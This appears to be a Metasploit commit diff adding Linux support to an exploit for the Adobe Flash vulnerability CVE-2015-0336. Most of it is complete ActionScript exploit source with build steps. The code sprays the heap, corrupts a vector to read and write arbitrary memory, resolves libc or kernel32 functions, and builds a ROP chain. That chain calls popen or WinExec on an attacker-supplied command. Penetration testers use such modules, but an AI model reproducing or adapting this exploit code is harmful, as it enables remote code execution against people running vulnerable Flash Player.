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Add support for Linux to CVE-2015-0336

bug/bundler_fix
jvazquez-r7 2015-05-27 17:05:10 -05:00
parent 801deeaddf
commit e5d42850c1
No known key found for this signature in database
GPG Key ID: 38D99152B9352D83
14 changed files with 1105 additions and 321 deletions
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data/exploits/CVE-2015-0336/msf.swf Executable file → Normal file
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data/exploits/CVE-2015-0336/trigger_linux.swf Executable file
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external/source/exploits/CVE-2015-0336/Elf.as vendored Normal file
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package
{
public class Elf
{
private const PT_DYNAMIC:uint = 2
private const PT_LOAD:uint = 1
private const PT_READ_EXEC:uint = 5
private const DT_SYMTAB:uint = 6
private const DT_STRTAB:uint = 5
private const DT_PLTGOT:uint = 3
private var e_ba:ExploitByteArray
// elf base address
public var base:uint = 0
// program header address
public var ph:uint = 0
// number of program headers
public var ph_size:uint = 0
// program header entry size
public var ph_esize:uint = 0
// DYNAMIC segment address
public var seg_dynamic:uint = 0
// DYNAMIC segment size
public var seg_dynamic_size:uint = 0
// CODE segment address
public var seg_exec:uint = 0
// CODE segment size
public var seg_exec_size:uint = 0
// .dynsyn section address
public var sec_dynsym:uint = 0
// .synstr section address
public var sec_dynstr:uint = 0
// .got.plt section address
public var sec_got_plt:uint = 0
public function Elf(ba:ExploitByteArray, addr:uint)
{
e_ba = ba
set_base(addr)
set_program_header()
set_program_header_size()
set_program_header_entry_size()
set_dynamic_segment()
set_exec_segment()
set_dynsym()
set_dynstr()
set_got_plt()
}
public function external_symbol(name:String):uint {
var entry:uint = 0
var st_name:uint = 0
var st_value:uint = 0
var st_size:uint = 0
var st_info:uint = 0
var st_other:uint = 0
var st_shndx:uint = 0
var st_string:String = ""
var got_plt_index:uint = 0
for(var i:uint = 0; i < 1000; i++) { // 1000 is just a limit
entry = sec_dynsym + 0x10 + (i * 0x10)
st_name = e_ba.read(entry)
st_value = e_ba.read(entry + 4)
st_info = e_ba.read(entry + 0xc, "byte")
st_string = e_ba.read_string(sec_dynstr + st_name)
if (st_string == name) {
return e_ba.read(sec_got_plt + 0xc + (got_plt_index * 4))
}
if (st_info != 0x11) {
got_plt_index++
}
}
throw new Error()
}
public function symbol(name:String):uint {
var entry:uint = 0
var st_name:uint = 0
var st_value:uint = 0
var st_size:uint = 0
var st_info:uint = 0
var st_other:uint = 0
var st_shndx:uint = 0
var st_string:String = ""
for(var i:uint = 0; i < 3000; i++) { // 3000 is just a limit
entry = sec_dynsym + 0x10 + (i * 0x10)
st_name = e_ba.read(entry)
st_value = e_ba.read(entry + 4)
st_info = e_ba.read(entry + 0xc, "byte")
st_string = e_ba.read_string(sec_dynstr + st_name)
if (st_string == name) {
return base + st_value
}
}
throw new Error()
}
public function gadget(gadget:String, hint:uint):uint
{
var value:uint = parseInt(gadget, 16)
var contents:uint = 0
for (var i:uint = 0; i < seg_exec_size - 4; i++) {
contents = e_ba.read(seg_exec + i)
if (hint == 0xffffffff && value == contents) {
return seg_exec + i
}
if (hint != 0xffffffff && value == (contents & hint)) {
return seg_exec + i
}
}
throw new Error()
}
private function set_base(addr:uint):void
{
addr &= 0xffff0000
while (true) {
if (e_ba.read(addr) == 0x464c457f) {
base = addr
return
}
addr -= 0x1000
}
throw new Error()
}
private function set_program_header():void
{
ph = base + e_ba.read(base + 0x1c)
}
private function set_program_header_size():void
{
ph_size = e_ba.read(base + 0x2c, "word")
}
private function set_program_header_entry_size():void
{
ph_esize = e_ba.read(base + 0x2a, "word")
}
private function set_dynamic_segment():void
{
var entry:uint = 0
var p_type:uint = 0
for (var i:uint = 0; i < ph_size; i++) {
entry = ph + (i * ph_esize)
p_type = e_ba.read(entry)
if (p_type == PT_DYNAMIC) {
seg_dynamic = base + e_ba.read(entry + 8)
seg_dynamic_size = e_ba.read(entry + 0x14)
return
}
}
throw new Error()
}
private function set_exec_segment():void
{
var entry:uint = 0
var p_type:uint = 0
var p_flags:uint = 0
for (var i:uint = 0; i < ph_size; i++) {
entry = ph + (i * ph_esize)
p_type = e_ba.read(entry)
p_flags = e_ba.read(entry + 0x18)
if (p_type == PT_LOAD && (p_flags & PT_READ_EXEC) == PT_READ_EXEC) {
seg_exec = base + e_ba.read(entry + 8)
seg_exec_size = e_ba.read(entry + 0x14)
return
}
}
throw new Error()
}
private function set_dynsym():void
{
var entry:uint = 0
var s_type:uint = 0
for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) {
entry = seg_dynamic + i
s_type = e_ba.read(entry)
if (s_type == DT_SYMTAB) {
sec_dynsym = e_ba.read(entry + 4)
return
}
}
throw new Error()
}
private function set_dynstr():void
{
var entry:uint = 0
var s_type:uint = 0
for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) {
entry = seg_dynamic + i
s_type = e_ba.read(entry)
if (s_type == DT_STRTAB) {
sec_dynstr = e_ba.read(entry + 4)
return
}
}
throw new Error()
}
private function set_got_plt():void
{
var entry:uint = 0
var s_type:uint = 0
for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) {
entry = seg_dynamic + i
s_type = e_ba.read(entry)
if (s_type == DT_PLTGOT) {
sec_got_plt = e_ba.read(entry + 4)
return
}
}
throw new Error()
}
}
}

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external/source/exploits/CVE-2015-0336/Exploit.as vendored Normal file
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// Build how to:
// 1. Download the AIRSDK, and use its compiler.
// 3. Download the Flex SDK (4.6)
// 4. Copy the Flex SDK libs (<FLEX_SDK>/framework/libs) to the AIRSDK folder (<AIR_SDK>/framework/libs)
// (all of them, also, subfolders, specially mx, necessary for the Base64Decoder)
// 5. Build with: mxmlc -o msf.swf Exploit.as
// It uses some original code from @hdarwin89 for exploitation using ba's and vectors
package
{
import flash.display.Sprite
import flash.display.LoaderInfo
import flash.display.Loader
import flash.utils.ByteArray
import flash.utils.Endian
import flash.utils.*
import flash.external.ExternalInterface
import mx.utils.Base64Decoder
public class Exploit extends Sprite
{
private var uv:Vector.<uint> = new Vector.<uint>
private var exploiter:Exploiter
private var spray:Vector.<Object> = new Vector.<Object>(89698)
private var interval_id:uint
private var trigger_swf:String
private var b64:Base64Decoder = new Base64Decoder()
private var payload:String
private var platform:String
public function Exploit()
{
var i:uint = 0
platform = LoaderInfo(this.root.loaderInfo).parameters.pl
trigger_swf = LoaderInfo(this.root.loaderInfo).parameters.tr
var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh
var pattern:RegExp = / /g;
b64_payload = b64_payload.replace(pattern, "+")
b64.decode(b64_payload)
payload = b64.toByteArray().toString()
if (platform == 'win') {
for (i = 0; i < 89698; i = i + 1) {
spray[i] = new Vector.<uint>(1014)
spray[i][0] = 0xdeadbeef
spray[i][1] = 0xdeedbeef
spray[i][2] = i
spray[i][29] = 0x1a1e1429
}
for(i = 0; i < 89698; i = i + 1) {
spray[i].length = 0x1e
}
} else if (platform == 'linux') {
for (i = 0; i < 89698; i = i + 1) {
spray[i] = new Vector.<uint>(1022)
spray[i][0] = 0xdeadbeef
spray[i][1] = 0xdeedbeef
spray[i][2] = i
spray[i][29] = 0x956c1490 // 0x956c1490 + 0xb6c => 0x956c1ffc => controlled by position 1021
spray[i][39] = 1 // 0x956c1fac + 0xf8 => is_connected = 1 in order to allow corruption of offsets 0x54 and 0x58
spray[i][1021] = 0x956c1fac // 0x956c1fac + 0x54 => 0x956c2000 (0x54, and 0x58 offsets are corrupted)
}
}
var trigger_byte_array:ByteArray = createByteArray(trigger_swf)
trigger_byte_array.endian = Endian.LITTLE_ENDIAN
trigger_byte_array.position = 0
// Trigger corruption
var trigger_loader:Loader = new Loader()
trigger_loader.loadBytes(trigger_byte_array)
interval_id = setTimeout(do_exploit, 2000)
}
private function createByteArray(hex_string:String) : ByteArray {
var byte:String
var byte_array:ByteArray = new ByteArray()
var hex_string_length:uint = hex_string.length
var i:uint = 0
while(i < hex_string_length)
{
byte = hex_string.charAt(i) + hex_string.charAt(i + 1)
byte_array.writeByte(parseInt(byte,16))
i = i + 2
}
return byte_array
}
private function do_exploit():void {
clearTimeout(interval_id)
for(var i:uint = 0; i < spray.length; i = i + 1) {
if (spray[i].length != 1022 && spray[i].length != 0x1e) {
Logger.log('[*] Exploit - Found corrupted vector at ' + i + ' with length 0x' + spray[i].length.toString(16))
spray[i][0x3ffffffe] = 0xffffffff
spray[i][0x3fffffff] = spray[i][1023]
uv = spray[i]
}
}
for(i = 0; i < spray.length; i = i + 1) {
if (spray[i].length == 1022 || spray[i].length == 0x1e) {
spray[i] = null
}
}
if (uv == null || uv.length != 0xffffffff) {
return
}
exploiter = new Exploiter(this, platform, payload, uv)
}
}
}

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external/source/exploits/CVE-2015-0336/ExploitByteArray.as vendored Normal file
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package
{
import flash.utils.ByteArray
public class ExploitByteArray
{
private const MAX_STRING_LENGTH:uint = 100
public var ba:ByteArray
public var original_length:uint
private var platform:String
public function ExploitByteArray(p:String, l:uint = 1024)
{
ba = new ByteArray()
ba.length = l
ba.endian = "littleEndian"
ba.writeUnsignedInt(0)
platform = p
original_length = l
}
public function set_length(length:uint):void
{
ba.length = length
}
public function get_length():uint
{
return ba.length
}
public function lets_ready():void
{
Logger.log("[*] ExploitByteArray - lets_ready()")
ba.endian = "littleEndian"
if (platform == "linux") {
ba.length = 0xffffffff
}
}
public function is_ready():Boolean
{
Logger.log("[*] ExploitByteArray - is_ready() - 0x" + ba.length.toString(16))
if (ba.length == 0xffffffff)
return true
return false
}
public function read(addr:uint, type:String = "dword"):uint
{
ba.position = addr
switch(type) {
case "dword":
return ba.readUnsignedInt()
case "word":
return ba.readUnsignedShort()
case "byte":
return ba.readUnsignedByte()
}
return 0
}
public function read_string(addr:uint, length:uint = 0):String
{
ba.position = addr
if (length == 0)
return ba.readUTFBytes(MAX_STRING_LENGTH)
else
return ba.readUTFBytes(length)
}
public function write(addr:uint, value:* = 0, zero:Boolean = true):void
{
if (addr) ba.position = addr
if (value is String) {
for (var i:uint; i < value.length; i++) ba.writeByte(value.charCodeAt(i))
if (zero) ba.writeByte(0)
} else ba.writeUnsignedInt(value)
}
}
}

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external/source/exploits/CVE-2015-0336/ExploitVector.as vendored Normal file
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package
{
public class ExploitVector
{
private var uv:Vector.<uint>
public var original_length:uint = 0x3e0
public function ExploitVector(v:Vector.<uint>)
{
uv = v
}
public function restore():void
{
uv[0x3ffffffe] = original_length
}
public function is_ready():Boolean
{
if (uv.length > original_length)
{
return true
}
return false
}
public function at(pos:uint):uint
{
return uv[pos]
}
// pos: position where a Vector.<Object>[0] lives
public function set_own_address(pos:uint):void
{
uv[0] = uv[pos - 5] - ((pos - 5) * 4) - 0xc
}
public function read(addr:uint):uint
{
var pos:uint = 0
if (addr > uv[0]) {
pos = ((addr - uv[0]) / 4) - 2
} else {
pos = ((0xffffffff - (uv[0] - addr)) / 4) - 1
}
return uv[pos]
}
public function write(addr:uint, value:uint = 0):void
{
var pos:uint = 0
if (addr > uv[0]) {
pos = ((addr - uv[0]) / 4) - 2
} else {
pos = ((0xffffffff - (uv[0] - addr)) / 4) - 1
}
uv[pos] = value
}
public function search_pattern(pattern:uint, limit:uint):uint
{
for (var i:uint = 0; i < limit/4; i++) {
if (uv[i] == pattern) {
return i
}
}
throw new Error()
}
}
}

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external/source/exploits/CVE-2015-0336/Exploiter.as vendored Normal file
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package
{
import flash.utils.ByteArray
import flash.system.System
public class Exploiter
{
private const VECTOR_OBJECTS_LENGTH:uint = 1014
private var exploit:Exploit
private var ev:ExploitVector
private var eba:ExploitByteArray
private var payload:String
private var platform:String
private var pos:uint
private var byte_array_object:uint
private var main:uint
private var stack_object:uint
private var payload_space_object:uint
private var buffer_object:uint
private var buffer:uint
private var vtable:uint
private var stack_address:uint
private var payload_address:uint
private var stack:Vector.<uint> = new Vector.<uint>(0x6400)
private var payload_space:Vector.<uint> = new Vector.<uint>(0x6400)
private var spray:Vector.<Object> = new Vector.<Object>(89698)
public function Exploiter(exp:Exploit, pl:String, p: String, uv:Vector.<uint>):void
{
exploit = exp
payload = p
platform = pl
ev = new ExploitVector(uv)
if (!ev.is_ready()) return
eba = new ExploitByteArray(platform)
spray_objects()
try { pos = search_objects() } catch (err:Error) { ev.restore(); cleanup(); return; }
ev.set_own_address(pos)
if (!disclose_objects()) { ev.restore(); cleanup(); return; }
disclose_addresses()
corrupt_byte_array()
if (!eba.is_ready()) { ev.restore(); cleanup(); return }
do_rop()
restore_byte_array()
ev.restore()
cleanup()
}
private function spray_objects():void
{
Logger.log("[*] Exploiter - spray_objects()")
for (var i:uint = 0; i < spray.length; i++)
{
spray[i] = new Vector.<Object>(VECTOR_OBJECTS_LENGTH)
spray[i][0] = eba.ba
spray[i][1] = exploit
spray[i][2] = stack
spray[i][3] = payload_space
}
}
private function search_objects():uint
{
Logger.log("[*] Exploiter - search_objects()")
var idx:uint = ev.search_pattern(VECTOR_OBJECTS_LENGTH, 0x4000)
return idx + 1
}
private function disclose_objects():Boolean
{
Logger.log("[*] Exploiter - disclose_objects()")
byte_array_object = ev.at(pos) - 1
main = ev.at(pos + 1) - 1
stack_object = ev.at(pos + 2) - 1
payload_space_object = ev.at(pos + 3) - 1
if (byte_array_object < 0x1000 || main < 0x1000 || stack_object < 0x1000 || payload_space_object < 0x1000) {
return false
}
return true
}
private function disclose_addresses():void
{
Logger.log("[*] Exploiter - disclose_addresses()")
if (platform == "linux")
{
buffer_object = ev.read(byte_array_object + 0x10)
buffer = ev.read(buffer_object + 0x1c)
}
else if (platform == "win")
{
buffer_object = ev.read(byte_array_object + 0x40)
buffer = ev.read(buffer_object + 8)
}
vtable = ev.read(main)
stack_address = ev.read(stack_object + 0x18)
payload_address = ev.read(payload_space_object + 0x18)
}
private function corrupt_byte_array():void
{
Logger.log("[*] Exploiter - corrupt_byte_array(): " + platform)
if (platform == "linux")
{
ev.write(buffer_object + 0x1c) // *array
ev.write(buffer_object + 0x20, 0xffffffff) // capacity
}
else if (platform == "win")
{
ev.write(buffer_object + 8) // *array
ev.write(buffer_object + 16, 0xffffffff) // capacity
}
eba.lets_ready()
}
private function restore_byte_array():void
{
Logger.log("[*] Exploiter - restore_byte_array(): " + platform)
if (platform == "linux")
{
ev.write(buffer_object + 0x1c, buffer) // *array
ev.write(buffer_object + 0x20, 1024) // capacity
}
else if (platform == "win")
{
ev.write(buffer_object + 8, buffer) // *array
ev.write(buffer_object + 16, 1024) // capacity
}
eba.set_length(eba.original_length)
}
private function do_rop():void
{
Logger.log("[*] Exploiter - do_rop()")
if (platform == "linux")
do_rop_linux()
else if (platform == "win")
do_rop_windows()
else
return
}
private function do_rop_windows():void
{
Logger.log("[*] Exploiter - do_rop_windows()")
var pe:PE = new PE(eba)
var flash:uint = pe.base(vtable)
var winmm:uint = pe.module("winmm.dll", flash)
var kernel32:uint = pe.module("kernel32.dll", winmm)
var virtualprotect:uint = pe.procedure("VirtualProtect", kernel32)
var winexec:uint = pe.procedure("WinExec", kernel32)
var xchgeaxespret:uint = pe.gadget("c394", 0x0000ffff, flash)
var xchgeaxesiret:uint = pe.gadget("c396", 0x0000ffff, flash)
// Continuation of execution
eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable
eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main
eba.write(0, "\x89\x03", false) // mov [ebx], eax
eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret
// Put the payload (command) in memory
eba.write(payload_address + 8, payload, true); // payload
// Put the fake vtabe / stack on memory
eba.write(stack_address + 0x18070, xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability...
eba.write(stack_address + 0x180a4, xchgeaxespret) // Initial gadget (stackpivot); call dword ptr [eax+0A4h]
eba.write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot
eba.write(0, virtualprotect)
// VirtualProtect
eba.write(0, winexec)
eba.write(0, buffer + 0x10)
eba.write(0, 0x1000)
eba.write(0, 0x40)
eba.write(0, buffer + 0x8) // Writable address (4 bytes)
// WinExec
eba.write(0, buffer + 0x10)
eba.write(0, payload_address + 8)
eba.write(0)
eba.write(main, stack_address + 0x18000) // overwrite with fake vtable
exploit.toString() // call method in the fake vtable
}
private function do_rop_linux():void
{
Logger.log("[*] Exploiter - do_rop_linux()")
var flash:Elf = new Elf(eba, vtable)
var feof:uint = flash.external_symbol('feof')
var libc:Elf = new Elf(eba, feof)
var popen:uint = libc.symbol("popen")
var mprotect:uint = libc.symbol("mprotect")
var xchgeaxespret:uint = flash.gadget("c394", 0x0000ffff)
var xchgeaxesiret:uint = flash.gadget("c396", 0x0000ffff)
var addesp2cret:uint = flash.gadget("c32cc483", 0xffffffff)
// Continuation of execution
// 1) Recover original vtable
eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable
eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main
eba.write(0, "\x89\x03", false) // mov [ebx], eax
// 2) Recover original stack
eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi
// Put the popen parameters in memory
eba.write(payload_address + 8, 'r', true) // type
eba.write(payload_address + 0xc, payload, true) // command
// Put the fake stack/vtable on memory
eba.write(stack_address + 0x18024, xchgeaxespret) // Initial gadget, stackpivot
eba.write(stack_address + 0x18000, xchgeaxesiret) // Save original stack on esi
eba.write(0, addesp2cret) //second pivot to preserver stack_address + 0x18024
// Return to mprotect()
eba.write(stack_address + 0x18034, mprotect)
// Return to stackpivot (jmp over mprotect parameters)
eba.write(0, addesp2cret)
// mprotect() arguments
eba.write(0, buffer) // addr
eba.write(0, 0x1000) // size
eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC
// Return to popen()
eba.write(stack_address + 0x18068, popen)
// Return to CoE (fix stack and object vtable)
eba.write(0, buffer + 0x10)
// popen() argument
eba.write(0, payload_address + 0xc)
eba.write(0, payload_address + 8)
//call DWORD PTR [eax+0x24]
//EAX: 0x41414141 ('AAAA')
//EDI: 0xad857088 ("AAAA\377")
eba.write(main, stack_address + 0x18000)
exploit.hasOwnProperty('msf')
}
private function cleanup():void
{
Logger.log("[*] Exploiter - cleanup()")
spray = null
stack = null
payload_space = null
eba = null
ev = null
exploit = null
System.pauseForGCIfCollectionImminent(0)
}
}
}

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external/source/exploits/CVE-2015-0336/Logger.as vendored Normal file
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package
{
import flash.external.ExternalInterface
public class Logger {
private static const DEBUG:uint = 0
public static function alert(msg:String):void
{
var str:String = "";
if (DEBUG == 1)
str += msg;
if(ExternalInterface.available){
ExternalInterface.call("alert", str);
}
}
public static function log(msg:String):void
{
var str:String = "";
if (DEBUG == 1)
str += msg;
if(ExternalInterface.available){
ExternalInterface.call("console.log", str);
}
}
}
}

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external/source/exploits/CVE-2015-0336/Msf.as vendored
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// Build how to:
// 1. Download the AIRSDK, and use its compiler.
// 2. Download the Flex SDK (4.6)
// 3. Copy the Flex SDK libs (<FLEX_SDK>/framework/libs) to the AIRSDK folder (<AIR_SDK>/framework/libs)
// (all of them, also, subfolders, specially mx, necessary for the Base64Decoder)
// 4. Build with: mxmlc -o msf.swf Msf.as
// It uses original code from @hdarwin89 for exploitation using ba's and vectors
package
{
import flash.utils.*
import flash.display.*
import flash.system.*
import mx.utils.Base64Decoder
public final class Msf extends Sprite {
private var interval_id:uint;
private var trigger_swf:String = ""
private var b64:Base64Decoder = new Base64Decoder();
private var payload:String = ""
private var spray:Vector.<Object> = new Vector.<Object>(89698 + 100)
private var corrupted_index:uint = 0
private var restore_required:Boolean = false
private var uv:Vector.<uint>
private var ba:ByteArray = new ByteArray()
private var stack:Vector.<uint> = new Vector.<uint>(0x6400)
private var payload_space:Vector.<uint> = new Vector.<uint>(0x6400)
public function Msf() {
var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh
var pattern:RegExp = / /g;
b64_payload = b64_payload.replace(pattern, "+")
b64.decode(b64_payload)
payload = b64.toByteArray().toString()
trigger_swf = LoaderInfo(this.root.loaderInfo).parameters.tr
ba.endian = "littleEndian"
ba.length = 1024
ba.writeUnsignedInt(0xdeedbeef)
ba.position = 0
var i:uint = 0
while (i < 89698) {
spray[i] = new Vector.<uint>(1014)
spray[i][0] = 0xdeadbeef
spray[i][1] = 0xdeedbeef
spray[i][2] = i
spray[i][29] = 0x1a1e1429
i++
}
for(i = 0; i < 89698; i = i + 1) {
spray[i].length = 0x1e
}
for(i = 0; i < 100; i = i + 1) {
spray[i + 89698] = new Vector.<Object>(1014)
spray[i + 89698][0] = ba
spray[i + 89698][1] = this
spray[i + 89698][2] = stack
spray[i + 89698][3] = payload_space
}
for(i = 0; i < 100; i = i + 1) {
spray[i + 89698].length = 114
}
var trigger_byte_array:ByteArray = createByteArray(trigger_swf)
trigger_byte_array.endian = Endian.LITTLE_ENDIAN
trigger_byte_array.position = 0
// Trigger corruption
var trigger_loader:Loader = new Loader();
trigger_loader.loadBytes(trigger_byte_array);
interval_id = setTimeout(exploit, 2000)
}
public function createByteArray(hex_string:String) : ByteArray {
var byte:String = null;
var byte_array:ByteArray = new ByteArray();
var hex_string_length:uint = hex_string.length;
var i:uint = 0;
while(i < hex_string_length)
{
byte = hex_string.charAt(i) + hex_string.charAt(i + 1);
byte_array.writeByte(parseInt(byte,16));
i = i + 2;
}
return byte_array;
}
public function exploit():void {
clearTimeout(interval_id)
for(var i:uint = 0; i < spray.length; i = i + 1) {
if (spray[i].length != 0x1e) {
corrupted_index = corrupt_vector_uint(i)
restore_required = true
uv = spray[corrupted_index]
uv[0] = 0x1a1e3000 // We're being confident about the spray for exploitation anyway :-)
control_execution()
if (restore_required) {
restore_vector_uint()
}
break;
}
}
}
// make it better, search and return error if it doesn't work :-)
public function corrupt_vector_uint(index:uint):uint {
spray[index][0x3fe] = 0xffffffff
return spray[index][0x402]
}
public function restore_vector_uint():void {
var atom:uint = spray[corrupted_index][0x3fffffff]
spray[corrupted_index][0x3ffffbff] = atom
spray[corrupted_index][0x3ffffbfe] = 0x1e
// Restore vector corrupted by hand
spray[corrupted_index][0x3ffffffe] = 0x1e
}
public function control_execution():void {
// Use the corrupted Vector<uint> to search saved addresses
var object_vector_pos:uint = search_object_vector()
if (object_vector_pos == 0xffffffff) {
return
}
var byte_array_object:uint = uv[object_vector_pos] - 1
var main:uint = uv[object_vector_pos + 1] - 1
var stack_object:uint = uv[object_vector_pos + 2] - 1
var payload_space_object:uint = uv[object_vector_pos + 3] - 1
// Use the corrupted Vector<uint> to disclose arbitrary memory
var buffer_object:uint = vector_read(byte_array_object + 0x40)
var buffer:uint = vector_read(buffer_object + 8)
var stack_address:uint = vector_read(stack_object + 0x18)
var payload_address:uint = vector_read(payload_space_object + 0x18)
var vtable:uint = vector_read(main)
// Set the new ByteArray length
ba.endian = "littleEndian"
ba.length = 0x500000
// Overwite the ByteArray data pointer and capacity
var ba_array:uint = buffer_object + 8
var ba_capacity:uint = buffer_object + 16
vector_write(ba_array)
vector_write(ba_capacity, 0xffffffff)
// restoring the corrupted vector length since we don't need it anymore
restore_vector_uint()
restore_required = false
var flash:uint = base(vtable)
var winmm:uint = module("winmm.dll", flash)
var kernel32:uint = module("kernel32.dll", winmm)
var virtualprotect:uint = procedure("VirtualProtect", kernel32)
var winexec:uint = procedure("WinExec", kernel32)
var xchgeaxespret:uint = gadget("c394", 0x0000ffff, flash)
var xchgeaxesiret:uint = gadget("c396", 0x0000ffff, flash)
// Continuation of execution
byte_write(buffer + 0x10, "\xb8", false); byte_write(0, vtable, false) // mov eax, vtable
byte_write(0, "\xbb", false); byte_write(0, main, false) // mov ebx, main
byte_write(0, "\x89\x03", false) // mov [ebx], eax
byte_write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret
// Put the payload (command) in memory
byte_write(payload_address + 8, payload, true); // payload
// Put the fake vtabe / stack on memory
byte_write(stack_address + 0x18070, xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability...
byte_write(stack_address + 0x180a4, xchgeaxespret) // Initial gadget (stackpivot); call dword ptr [eax+0A4h]
byte_write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot
byte_write(0, virtualprotect)
// VirtualProtect
byte_write(0, winexec)
byte_write(0, buffer + 0x10)
byte_write(0, 0x1000)
byte_write(0, 0x40)
byte_write(0, buffer + 0x8) // Writable address (4 bytes)
// WinExec
byte_write(0, buffer + 0x10)
byte_write(0, payload_address + 8)
byte_write(0)
byte_write(main, stack_address + 0x18000) // overwrite with fake vtable
toString() // call method in the fake vtable
}
private function search_object_vector():uint {
var i:uint = 0;
while (i < 89698 * 1024){
if (uv[i] == 114) {
return i + 1;
}
i++
}
return 0xffffffff
}
// Methods to use the corrupted uint vector
private function vector_write(addr:uint, value:uint = 0):void
{
var pos:uint = 0
if (addr > uv[0]) {
pos = ((addr - uv[0]) / 4) - 2
} else {
pos = ((0xffffffff - (uv[0] - addr)) / 4) - 1
}
uv[pos] = value
}
private function vector_read(addr:uint):uint
{
var pos:uint = 0
if (addr > uv[0]) {
pos = ((addr - uv[0]) / 4) - 2
} else {
pos = ((0xffffffff - (uv[0] - addr)) / 4) - 1
}
return uv[pos]
}
// Methods to use the corrupted byte array for arbitrary reading/writing
private function byte_write(addr:uint, value:* = 0, zero:Boolean = true):void
{
if (addr) ba.position = addr
if (value is String) {
for (var i:uint; i < value.length; i++) ba.writeByte(value.charCodeAt(i))
if (zero) ba.writeByte(0)
} else ba.writeUnsignedInt(value)
}
private function byte_read(addr:uint, type:String = "dword"):uint
{
ba.position = addr
switch(type) {
case "dword":
return ba.readUnsignedInt()
case "word":
return ba.readUnsignedShort()
case "byte":
return ba.readUnsignedByte()
}
return 0
}
// Methods to search the memory with the corrupted byte array
private function base(addr:uint):uint
{
addr &= 0xffff0000
while (true) {
if (byte_read(addr) == 0x00905a4d) return addr
addr -= 0x10000
}
return 0
}
private function module(name:String, addr:uint):uint
{
var iat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x80)
var i:int = -1
while (true) {
var entry:uint = byte_read(iat + (++i) * 0x14 + 12)
if (!entry) throw new Error("FAIL!");
ba.position = addr + entry
var dll_name:String = ba.readUTFBytes(name.length).toUpperCase();
if (dll_name == name.toUpperCase()) {
break;
}
}
return base(byte_read(addr + byte_read(iat + i * 0x14 + 16)));
}
private function procedure(name:String, addr:uint):uint
{
var eat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x78)
var numberOfNames:uint = byte_read(eat + 0x18)
var addressOfFunctions:uint = addr + byte_read(eat + 0x1c)
var addressOfNames:uint = addr + byte_read(eat + 0x20)
var addressOfNameOrdinals:uint = addr + byte_read(eat + 0x24)
for (var i:uint = 0; ; i++) {
var entry:uint = byte_read(addressOfNames + i * 4)
ba.position = addr + entry
if (ba.readUTFBytes(name.length+2).toUpperCase() == name.toUpperCase()) break
}
return addr + byte_read(addressOfFunctions + byte_read(addressOfNameOrdinals + i * 2, "word") * 4)
}
private function gadget(gadget:String, hint:uint, addr:uint):uint
{
var find:uint = 0
var limit:uint = byte_read(addr + byte_read(addr + 0x3c) + 0x50)
var value:uint = parseInt(gadget, 16)
for (var i:uint = 0; i < limit - 4; i++) if (value == (byte_read(addr + i) & hint)) break
return addr + i
}
}
}

63
external/source/exploits/CVE-2015-0336/PE.as vendored Normal file
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@ -0,0 +1,63 @@
package
{
public class PE
{
private var eba:ExploitByteArray
public function PE(ba:ExploitByteArray)
{
eba = ba
}
public function base(addr:uint):uint
{
Logger.log("[*] PE - base(): searching base for 0x" + addr.toString(16))
addr &= 0xffff0000
while (true) {
if (eba.read(addr) == 0x00905a4d) return addr
addr -= 0x10000
}
return 0
}
public function module(name:String, addr:uint):uint
{
var iat:uint = addr + eba.read(addr + eba.read(addr + 0x3c) + 0x80), i:int = -1
var mod_name:String
while (true) {
var entry:uint = eba.read(iat + (++i) * 0x14 + 12)
if (!entry) throw new Error("FAIL!");
mod_name = eba.read_string(addr + entry, name.length)
if (mod_name.toUpperCase() == name.toUpperCase()) break
}
return base(eba.read(addr + eba.read(iat + i * 0x14 + 16)))
}
public function procedure(name:String, addr:uint):uint
{
var eat:uint = addr + eba.read(addr + eba.read(addr + 0x3c) + 0x78)
var numberOfNames:uint = eba.read(eat + 0x18)
var addressOfFunctions:uint = addr + eba.read(eat + 0x1c)
var addressOfNames:uint = addr + eba.read(eat + 0x20)
var addressOfNameOrdinals:uint = addr + eba.read(eat + 0x24)
var proc_name:String
for (var i:uint = 0; ; i++) {
var entry:uint = eba.read(addressOfNames + i * 4)
proc_name = eba.read_string(addr + entry, name.length + 2)
if (proc_name.toUpperCase() == name.toUpperCase()) break
}
return addr + eba.read(addressOfFunctions + eba.read(addressOfNameOrdinals + i * 2, "word") * 4)
}
public function gadget(gadget:String, hint:uint, addr:uint):uint
{
var find:uint = 0
var limit:uint = eba.read(addr + eba.read(addr + 0x3c) + 0x50)
var value:uint = parseInt(gadget, 16)
for (var i:uint = 0; i < limit - 4; i++) if (value == (eba.read(addr + i) & hint)) break
return addr + i
}
}
}

60
external/source/exploits/CVE-2015-0336/TriggerLinux/TriggerLinux.as2proj vendored Executable file
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@ -0,0 +1,60 @@
<?xml version="1.0" encoding="utf-8"?>
<project version="2">
<!-- Output SWF options -->
<output>
<movie outputType="Application" />
<movie input="" />
<movie path="trigger_linux.swf" />
<movie fps="30" />
<movie width="800" />
<movie height="600" />
<movie version="0" />
<movie minorVersion="0" />
<movie platform="Custom" />
<movie background="#FFFFFF" />
</output>
<!-- Other classes to be compiled into your SWF -->
<classpaths>
<class path="src" />
</classpaths>
<!-- Build options -->
<build>
<option verbose="False" />
<option strict="False" />
<option infer="False" />
<option useMain="True" />
<option useMX="False" />
<option warnUnusedImports="False" />
<option traceMode="FlashConnectExtended" />
<option traceFunction="" />
<option libraryPrefix="" />
<option excludeFile="" />
<option groupClasses="False" />
<option frame="1" />
<option keep="True" />
</build>
